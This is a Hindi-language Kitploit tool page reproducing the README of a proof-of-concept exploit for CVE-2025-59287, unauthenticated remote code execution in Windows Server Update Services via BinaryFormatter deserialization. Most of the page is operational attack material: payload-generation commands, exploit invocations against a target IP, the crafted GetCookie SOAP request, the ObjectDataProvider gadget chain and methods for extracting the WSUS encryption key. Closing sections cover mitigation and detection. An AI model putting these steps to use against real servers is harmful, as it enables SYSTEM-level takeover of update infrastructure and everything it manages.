Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2025-59287-exploit-poc — CVE-2025-59287 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WSUS में असुरक्षित BinaryFormatter डिसीरियलाइज़ेशन के माध्यम से एक गंभीर बिना-प्रमाणीकरण वाला RCE है, जो क्राफ्टेड एन्क्रिप्टेड कुकीज़ के ज़रिए SYSTEM विशेषाधिकार प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

CVE-2025-59287 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WSUS में असुरक्षित BinaryFormatter डिसीरियलाइज़ेशन के माध्यम से एक गंभीर बिना-प्रमाणीकरण वाला RCE है, जो क्राफ्टेड एन्क्रिप्टेड कुकीज़ के ज़रिए SYSTEM विशेषाधिकार प्राप्त करता है।

रिपॉजिटरी देखें
19 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-59287 प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट

भेद्यता अवलोकन

CVE-2025-59287 माइक्रोसॉफ्ट विंडोज सर्वर अपडेट सर्विसेज (WSUS) में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। यह भेद्यता EncryptionHelper.DecryptData() विधि में BinaryFormatter के माध्यम से AuthorizationCookie डेटा के असुरक्षित डिसीरियलाइज़ेशन के कारण होती है।

प्रभाव: बिना प्रमाणीकरण वाले हमलावर GetCookie() एंडपॉइंट पर दुर्भावनापूर्ण एन्क्रिप्टेड कुकीज़ भेजकर SYSTEM विशेषाधिकारों के साथ रिमोट कोड एक्ज़ीक्यूशन प्राप्त कर सकते हैं।

CVSS स्कोर: गंभीर (9.8)

भेद्यता विवरण

  • प्रभावित घटक: WSUS ClientWebService.asmx GetCookie() एंडपॉइंट
  • मूल कारण: अविश्वसनीय इनपुट पर उचित सत्यापन के बिना BinaryFormatter.Deserialize() को कॉल करना
  • हमले का वेक्टर: GetCookie() SOAP एंडपॉइंट पर भेजी गई दुर्भावनापूर्ण एन्क्रिप्टेड कुकी
  • प्रमाणीकरण आवश्यक: नहीं (बिना प्रमाणीकरण RCE)
  • प्रभावित पोर्ट: 8530 (HTTP), 8531 (HTTPS)
  • आर्किटेक्चर

    root@kitploit:~
    ┌─────────────────┐
    │   हमलावर        │
    │                 │
    │  1. BinaryFmt   │
    │     पेलोड       │
    │     जनरेट करें  │
    │                 │
    │  2. पेलोड       │
    │     एन्क्रिप्ट  │
    │     करें        │
    │                 │
    │  3. SOAP        │
    │     अनुरोध     │
    │     भेजें       │
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   WSUS सर्वर    │
    │                 │
    │  GetCookie()    │
    │  एंडपॉइंट       │
    │                 │
    │  DecryptData()  │◄─── भेद्य
    │                 │
    │  BinaryFormatter│◄─── असुरक्षित डिसीरियलाइज़ेशन
    │  Deserialize()  │
    │                 │
    │  पेलोड          │◄─── SYSTEM के रूप में RCE
    │  एक्ज़ीक्यूट    │
    │  करें           │
    └─────────────────┘
    

    फ़ाइल संरचना

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # मुख्य एक्सप्लॉइट स्क्रिप्ट
    ├── BinaryFormatterPayloadGenerator.cs # .NET पेलोड जनरेटर (C#)
    ├── encrypt_payload.py                 # WSUS एन्क्रिप्शन सहायक
    ├── requirements.txt                   # Python निर्भरताएँ
    └── README.md                          # यह फ़ाइल
    

    पूर्वापेक्षाएँ

    Python वातावरण

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (पेलोड जनरेशन के लिए)

    • .NET Framework 4.0 या बाद के संस्करण वाला Windows
    • या विकल्प के रूप में ysoserial.net का उपयोग करें

    उपयोग

    विधि 1: पूर्ण वर्कफ़्लो

    चरण 1: BinaryFormatter पेलोड जनरेट करें

    विकल्प A: प्रदान किए गए C# जनरेटर का उपयोग करके

    root@kitploit:~
    # जनरेटर संकलित करें
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # पेलोड जनरेट करें
    BinaryFormatterPayloadGenerator.exe calc.exe
    # बनाता है: payload_YYYYMMDDHHMMSS.bin
    

    विकल्प B: ysoserial.net का उपयोग करके (अनुशंसित)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    चरण 2: पेलोड एन्क्रिप्ट करें

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    महत्वपूर्ण: encrypt_payload.py में एन्क्रिप्शन कुंजी एक प्लेसहोल्डर है। वास्तविक शोषण के लिए, आपको यह करना होगा:

    1. WSUS बाइनरीज़ से वास्तविक एन्क्रिप्शन कुंजी रिवर्स इंजीनियर करें
    2. encrypt_payload.py को वास्तविक कुंजी के साथ अपडेट करें
    3. नीचे "WSUS एन्क्रिप्शन कुंजी ढूँढना" अनुभाग देखें

    चरण 3: एक्सप्लॉइट निष्पादित करें

    root@kitploit:~
    # पेलोड फ़ाइल का उपयोग करके (फ्लाई पर एन्क्रिप्ट करेगा)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # पूर्व-एन्क्रिप्टेड कुकी का उपयोग करके
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # HTTPS के साथ (पोर्ट 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    विधि 2: त्वरित परीक्षण

    root@kitploit:~
    # एक ही बार में जनरेट, एन्क्रिप्ट और एक्सप्लॉइट करें
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
    

    वास्तविक WSUS एन्क्रिप्शन कुंजी ढूँढना

    वास्तविक शोषण के लिए एन्क्रिप्शन कुंजी अवश्य WSUS बाइनरीज़ से निकाली जानी चाहिए।

    विधि 1: dnSpy के साथ रिवर्स इंजीनियरिंग

    1. WSUS DLLs का पता लगाएँ:

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      या IIS वेब निर्देशिका:

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. dnSpy में खोलें (मुफ्त .NET डीकंपाइलर):

      • डाउनलोड करें: https://github.com/dnSpy/dnSpy
      • Microsoft.UpdateServices.WebServices.dll खोलें
    3. EncryptionHelper खोजें:

      • नेविगेट करें: Microsoft.UpdateServices.WebServices नेमस्पेस
      • EncryptionHelper क्लास ढूँढें
      • DecryptData() और EncryptData() विधियों को देखें
      • एन्क्रिप्शन कुंजी और एल्गोरिदम निकालें
    4. सामान्य पैटर्न:

      • हार्डकोडेड बाइट ऐरे
      • स्ट्रिंग स्थिरांक
      • मशीन GUID/SID से कुंजी व्युत्पत्ति

    विधि 2: रनटाइम विश्लेषण

    1. WinDbg या x64dbg का उपयोग करें:

      • EncryptionHelper.DecryptData() पर ब्रेकपॉइंट सेट करें
      • कुंजी सामग्री के लिए मेमोरी/रजिस्टरों का निरीक्षण करें
      • एन्क्रिप्शन/डिक्रिप्शन संचालन की निगरानी करें
    2. प्रोसेस मॉनिटर का उपयोग करें:

      • WSUS प्रक्रिया द्वारा फ़िल्टर करें
      • रजिस्ट्री/कॉन्फ़िग फ़ाइल एक्सेस देखें
      • कुंजियाँ रजिस्ट्री में संग्रहीत हो सकती हैं

    विधि 3: स्थैतिक विश्लेषण

    1. IDA Pro या Ghidra का उपयोग करें:

      • WSUS बाइनरीज़ लोड करें
      • एन्क्रिप्शन से संबंधित स्ट्रिंग्स खोजें
      • कुंजी व्युत्पत्ति एल्गोरिदम का विश्लेषण करें
    2. strings उपयोगिता का उपयोग करें:

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    एक्सप्लॉइट अपडेट करना

    एक बार वास्तविक कुंजी मिल जाने पर, encrypt_payload.py अपडेट करें:

    root@kitploit:~
    # encrypt_wsus_cookie() में इस लाइन को बदलें:
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # प्लेसहोल्डर
    
    # वास्तविक कुंजी के साथ:
    key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
    

    या कमांड लाइन के माध्यम से पास करें:

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
    

    एक्सप्लॉइट प्रवाह

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. BinaryFormatter पेलोड जनरेट करें                        │
    │    ObjectDataProvider → Process.Start() → कमांड एक्ज़ीक्यूशन │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. पेलोड एन्क्रिप्ट करें                                    │
    │    WSUS एन्क्रिप्शन कुंजी के साथ AES-128-CBC               │
    │    ट्रांसमिशन के लिए Base64 एन्कोड                          │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. SOAP अनुरोध बनाएँ                                       │
    │    AuthorizationCookie हेडर में एन्क्रिप्टेड पेलोड होता है  │
    │    SOAP बॉडी में GetCookie() विधि                           │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. WSUS एंडपॉइंट पर भेजें                                   │
    │    POST /ClientWebService/ClientWebService.asmx              │
    │    पोर्ट 8530 (HTTP) या 8531 (HTTPS)                         │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. WSUS प्रोसेसिंग                                          │
    │    DecryptData() कुकी डिक्रिप्ट करता है                     │
    │    BinaryFormatter.Deserialize() पेलोड निष्पादित करता है    │
    │    → SYSTEM के रूप में RCE                                   │
    └─────────────────────────────────────────────────────────────┘
    

    SOAP अनुरोध संरचना

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <TARGET>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    पेलोड जनरेशन विवरण

    एक्सप्लॉइट ObjectDataProvider गैजेट चेन का उपयोग करता है:

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    जब BinaryFormatter.Deserialize() इसे प्रोसेस करता है, यह स्वचालित रूप से:

    1. ObjectDataProvider को डिसीरियलाइज़ करता है
    2. ObjectInstance (Process) पर MethodName ("Start") को इनवोक करता है
    3. MethodParameters (ProcessStartInfo) पास करता है
    4. SYSTEM विशेषाधिकारों के साथ कमांड निष्पादित करता है

    परीक्षण चेकलिस्ट

    • BinaryFormatter पेलोड जनरेट करें
    • WSUS एन्क्रिप्शन कुंजी निकालें/पहचानें
    • सही कुंजी के साथ पेलोड एन्क्रिप्ट करें
    • WSUS एंडपॉइंट सुलभ है सत्यापित करें
    • दुर्भावनापूर्ण कुकी के साथ SOAP अनुरोध भेजें
    • लक्ष्य पर कमांड निष्पादन सत्यापित करें
    • पृथक प्रयोगशाला वातावरण में परीक्षण करें

    सीमाएँ

    1. एन्क्रिप्शन कुंजी: प्लेसहोल्डर कुंजी वास्तविक सिस्टम पर काम नहीं करेगी। वास्तविक कुंजी निकालनी होगी।
    2. BinaryFormatter पेलोड: जनरेट करने के लिए .NET Framework या ysoserial.net की आवश्यकता है।
    3. नेटवर्क एक्सेस: WSUS एंडपॉइंट (पोर्ट 8530/8531) तक नेटवर्क एक्सेस होना चाहिए।
    4. WSUS संस्करण: व्यवहार WSUS संस्करणों के अनुसार भिन्न हो सकता है।

    शमन

    तत्काल कार्रवाई

    1. माइक्रोसॉफ्ट सुरक्षा अपडेट लागू करें: तुरंत पैच करें

      • माइक्रोसॉफ्ट सुरक्षा सलाहकार जाँचें
      • WSUS को पैच किए गए संस्करण में अपडेट करें
    2. अस्थायी वर्कअराउंड: यदि WSUS की आवश्यकता नहीं है तो पोर्ट ब्लॉक करें

      root@kitploit:~
      # WSUS पोर्ट पर इनबाउंड ट्रैफ़िक ब्लॉक करें
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. नेटवर्क विभाजन: WSUS एंडपॉइंट तक पहुँच प्रतिबंधित करें

      • केवल अधिकृत अपडेट सर्वर से एक्सेस की अनुमति दें
      • स्रोत IP सीमित करने के लिए फ़ायरवॉल नियमों का उपयोग करें

    दीर्घकालिक समाधान

    1. BinaryFormatter बदलें: माइक्रोसॉफ्ट को सुरक्षित सीरियलाइज़ेशन से बदलना चाहिए

      • टाइप सत्यापन के साथ System.Text.Json या System.Xml.Serialization का उपयोग करें
      • सख्त टाइप अलाउलिस्टिंग लागू करें
    2. इनपुट सत्यापन: व्यापक सत्यापन जोड़ें

      • डिसीरियलाइज़ेशन से पहले सभी कुकी डेटा सत्यापित करें
      • अप्रत्याशित प्रकार/स्कीमा अस्वीकार करें
    3. न्यूनतम विशेषाधिकार का सिद्धांत: WSUS सेवाओं को न्यूनतम विशेषाधिकारों के साथ चलाएँ

      • यदि संभव हो तो SYSTEM के रूप में न चलाएँ
      • सीमित अनुमतियों वाले सेवा खातों का उपयोग करें

    पहचान

    समझौते के संकेतक (IoC)

    • पोर्ट 8530/8531 पर असामान्य नेटवर्क ट्रैफ़िक
    • Base64-एन्कोडेड AuthorizationCookie हेडर वाले SOAP अनुरोध
    • WSUS सेवा संदर्भ से अप्रत्याशित प्रक्रिया निष्पादन
    • WSUS लॉग में BinaryFormatter डिसीरियलाइज़ेशन अपवाद

    लॉग विश्लेषण

    WSUS लॉग जाँचें:

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    इनके लिए देखें:

    • SOAP अनुरोध त्रुटियाँ
    • डिसीरियलाइज़ेशन अपवाद
    • अनधिकृत एक्सेस प्रयास

    नेटवर्क निगरानी

    इनके लिए निगरानी करें:

    • /ClientWebService/ClientWebService.asmx पर SOAP अनुरोध
    • AuthorizationCookie हेडर में बड़े Base64 पेलोड
    • WSUS सेवा से असामान्य कमांड निष्पादन

    कानूनी नोटिस

    ⚠️ चेतावनी: यह एक्सप्लॉइट कोड केवल अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।

    • ✅ कानूनी उपयोग:

      • अपने स्वयं के सिस्टम का परीक्षण
      • अधिकृत पेनेट्रेशन परीक्षण
      • अनुमति के साथ सुरक्षा अनुसंधान
      • नियंत्रित वातावरण में शैक्षिक उद्देश्य
    • ❌ अवैध उपयोग:

      • सिस्टम तक अनधिकृत पहुँच
      • दुर्भावनापूर्ण हमले
      • कंप्यूटर धोखाधड़ी कानूनों का उल्लंघन
      • स्पष्ट अनुमति के बिना कोई भी उपयोग

    इस एक्सप्लॉइट का अनधिकृत उपयोग आपराधिक अभियोजन का कारण बन सकता है। जिम्मेदारी और नैतिकता से उपयोग करें।

    संदर्भ

    • CVE-2025-59287: आधिकारिक CVE प्रविष्टि
    • माइक्रोसॉफ्ट सुरक्षा सलाहकार: आधिकारिक पैच और मार्गदर्शन के लिए जाँचें
    • BinaryFormatter सुरक्षा गाइड: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net: https://github.com/pwntester/ysoserial.net

    श्रेय

    • भेद्यता सुरक्षा शोधकर्ताओं द्वारा खोजी गई
    • PoC शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए विकसित किया गया

    संस्करण इतिहास

    • v1.0: प्रारंभिक PoC रिलीज़
      • मुख्य एक्सप्लॉइट स्क्रिप्ट
      • .NET पेलोड जनरेटर
      • एन्क्रिप्शन सहायक
      • दस्तावेज़ीकरण

    याद रखें: हमेशा पृथक, नियंत्रित वातावरण में परीक्षण करें। उन सिस्टमों के खिलाफ कभी उपयोग न करें जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।

    टूल डाउनलोड करें